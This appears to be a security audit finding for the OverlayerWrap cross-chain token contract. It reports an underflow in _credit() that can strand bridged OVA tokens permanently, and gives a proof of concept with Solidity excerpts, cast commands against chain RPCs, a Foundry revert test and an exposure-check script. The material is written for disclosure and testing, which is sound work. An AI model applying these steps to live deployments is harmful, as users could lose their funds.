OverlayerWrapCore._credit() contains an unchecked arithmetic subtraction. When any incoming LayerZero message arrives with amountReceivedLD > totalBridgedOut, the subtraction underflows, causing Solidity 0.8's built-in arithmetic check to revert. LayerZero V2 will retry the delivery, but because the same code path is executed on every retry, the revert is permanent. The OVA was already burned on the source chain. Affected users permanently lose their funds.
// OverlayerWrapCore.sol — lines 537–544
function _credit(
address to_,
uint256 amountLD_,
uint32 srcEid_
) internal virtual override returns (uint256 amountReceivedLD) {
amountReceivedLD = super._credit(to_, amountLD_, srcEid_);
totalBridgedOut -= amountReceivedLD; // ← CRITICAL: no underflow guard
// Solidity 0.8 reverts if amountReceivedLD > totalBridgedOut
}
Compare with _debit() (the counterpart that increments totalBridgedOut):
function _debit(address from_, uint256 amountLD_, uint256 minAmountLD_, uint32 dstEid_)
internal virtual override returns (uint256 amountSentLD, uint256 amountReceivedLD)
{
(amountSentLD, amountReceivedLD) = super._debit(from_, amountLD_, minAmountLD_, dstEid_);
totalBridgedOut += amountSentLD; // increments on outbound
}
totalBridgedOut is only incremented via _debit() — i.e., when OVA is bridged out from the hub chain. However, OVA can be minted on the hub chain through paths that bypass _debit() entirely:
AaveHandler.compound() calls OverlayerWrap.mint(order) directly to distribute Aave yield as OVA. This is a local mint — _debit() is never called, totalBridgedOut stays unchanged.OverlayerWrap.mint(order) — standard collateral-backed mint. Again, no _debit(), totalBridgedOut unchanged.When these locally-minted OVA tokens are later bridged cross-chain via send() and then returned:
_debit() runs → totalBridgedOut += X_credit() runs → totalBridgedOut -= X → this succeeds first timeBut if the overall totalBridgedOut state ever drifts (e.g., admin resets the contract, multiple chains interact, or the deployment is restarted with totalBridgedOut = 0), any inbound message triggers the underflow.
Most critical scenario — bootstrap: When totalBridgedOut = 0 (initial deployment or post-reset) and someone bridges OVA to the hub chain from another chain:
totalBridgedOut = 0_credit(): 0 -= amountReceivedLD → immediate underflow → permanent revertLayerZero V2's retry mechanism calls lzReceive() again with the same parameters. Since _credit() contains no conditional logic — it always executes the same subtraction — every retry hits the same underflow and reverts. The message is permanently stuck. The OVA burned on the source chain is irrecoverable.
Environment: Two connected LayerZero endpoint deployments (testnet or forked mainnet). Hub chain (Chain A) has OverlayerWrap deployed with totalBridgedOut = 0.
cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC
Expected output: 0x0000000000000000000000000000000000000000000000000000000000000000
# Before compound
TOTAL_BEFORE=$(cast call $OVA_ADDR "totalSupply()" --rpc-url $CHAIN_A_RPC)
BRIDGED_BEFORE=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC)
echo "totalSupply before compound: $TOTAL_BEFORE"
echo "totalBridgedOut before : $BRIDGED_BEFORE"
# Trigger compound (anyone can call it — no access control)
cast send $AAVE_HANDLER_ADDR "compound(bool)" true \
--from $ANY_CALLER --rpc-url $CHAIN_A_RPC
# After compound
TOTAL_AFTER=$(cast call $OVA_ADDR "totalSupply()" --rpc-url $CHAIN_A_RPC)
BRIDGED_AFTER=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC)
echo "totalSupply after compound : $TOTAL_AFTER" # ← INCREASED
echo "totalBridgedOut after : $BRIDGED_AFTER" # ← UNCHANGED (still 0)
Expected output:
totalSupply before compound: 1000000000000000000000000 (e.g. 1,000,000 OVA)
totalBridgedOut before : 0
totalSupply after compound : 1000500000000000000000000 (increased by yield)
totalBridgedOut after : 0 ← NOT incremented
This confirms locally-minted OVA can be bridged without correctly initializing totalBridgedOut.
# Alice sends 100 OVA to Chain B
cast send $OVA_ADDR "send((uint32,bytes32,uint256,uint256,bytes,bytes,bytes),(uint256,uint256),address)" \
"($CHAIN_B_EID,$(cast --to-bytes32 $ALICE_CHAIN_B),100000000000000000000,90000000000000000000,'0x','0x','0x')" \
"($LZ_FEE,0)" \
$ALICE_ADDR \
--value $LZ_FEE_WEI \
--from $ALICE_ADDR --rpc-url $CHAIN_A_RPC
Expected output: Transaction succeeds. totalBridgedOut is now 100e18.
cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $CHAIN_A_RPC
# Expected: 0x0000000000000000000000000000000000000000000000056bc75e2d63100000
# = 100e18
Alice sends OVA back on Chain B. LayerZero delivers the _credit message to Chain A.
Simulate the _credit call directly (unit test approach):
# On Chain A, simulate LZ endpoint calling lzReceive with 100e18 OVA
# when totalBridgedOut == 100e18 (this succeeds)
# Then simulate a SECOND inbound transfer of even 1 wei when totalBridgedOut == 0
# First: set totalBridgedOut to 0 to simulate bootstrap/reset state
# (or any state where inbound > totalBridgedOut)
Foundry simulation of the exact revert:
// Directly call the internal credit path with totalBridgedOut = 0
// Expected: arithmetic underflow revert
vm.expectRevert(stdError.arithmeticError);
// lzReceive delivers 100e18 OVA when totalBridgedOut = 0
lzEndpointMock.deliverPayload(address(ova), chainBEid, encodeOFTMessage(alice, 100e18));
Expected output:
[FAIL] Reason: Arithmetic over/underflow (panic: 0x11)
Transaction: lzReceive → _lzReceive → _credit → totalBridgedOut (0) -= 100e18
# LayerZero V2: retry the stuck message
cast send $LZ_ENDPOINT_ADDR "retryPayload(bytes32,bytes)" \
$PAYLOAD_HASH $PAYLOAD_BYTES \
--from $ALICE_ADDR --rpc-url $CHAIN_A_RPC
Expected output:
Error: Transaction reverted
Reason: Arithmetic over/underflow
Same revert. Every future retry will fail with the same error.
# Alice's balance on Chain B (where she bridged back from)
cast call $OVA_CHAIN_B_ADDR "balanceOf(address)" $ALICE_ADDR --rpc-url $CHAIN_B_RPC
# Expected: 0 (OVA was burned on _debit on Chain B)
# Alice's balance on Chain A
cast call $OVA_ADDR "balanceOf(address)" $ALICE_ADDR --rpc-url $CHAIN_A_RPC
# Expected: 0 (_credit never completed, OVA never minted)
Net result: Alice has 0 OVA on both chains. 100e18 OVA permanently destroyed.
File 1
forge test --match-test test_F2 -vvvv --fork-url $HUB_RPC_URL
File 2: One-liner to check current exposure on deployed contract
#!/bin/bash
# Check if the hub chain contract is currently vulnerable to _credit underflow
OVA_ADDR="0x..." # fill in
RPC="https://..." # fill in
BRIDGED=$(cast call $OVA_ADDR "totalBridgedOut()" --rpc-url $RPC)
echo "totalBridgedOut: $BRIDGED"
if [ "$BRIDGED" = "0x0000000000000000000000000000000000000000000000000000000000000000" ]; then
echo "[VULNERABLE] totalBridgedOut = 0: ANY inbound LZ message will underflow _credit()"
else
echo "[PARTIAL RISK] totalBridgedOut = $BRIDGED: underflow if inbound amount exceeds this"
fi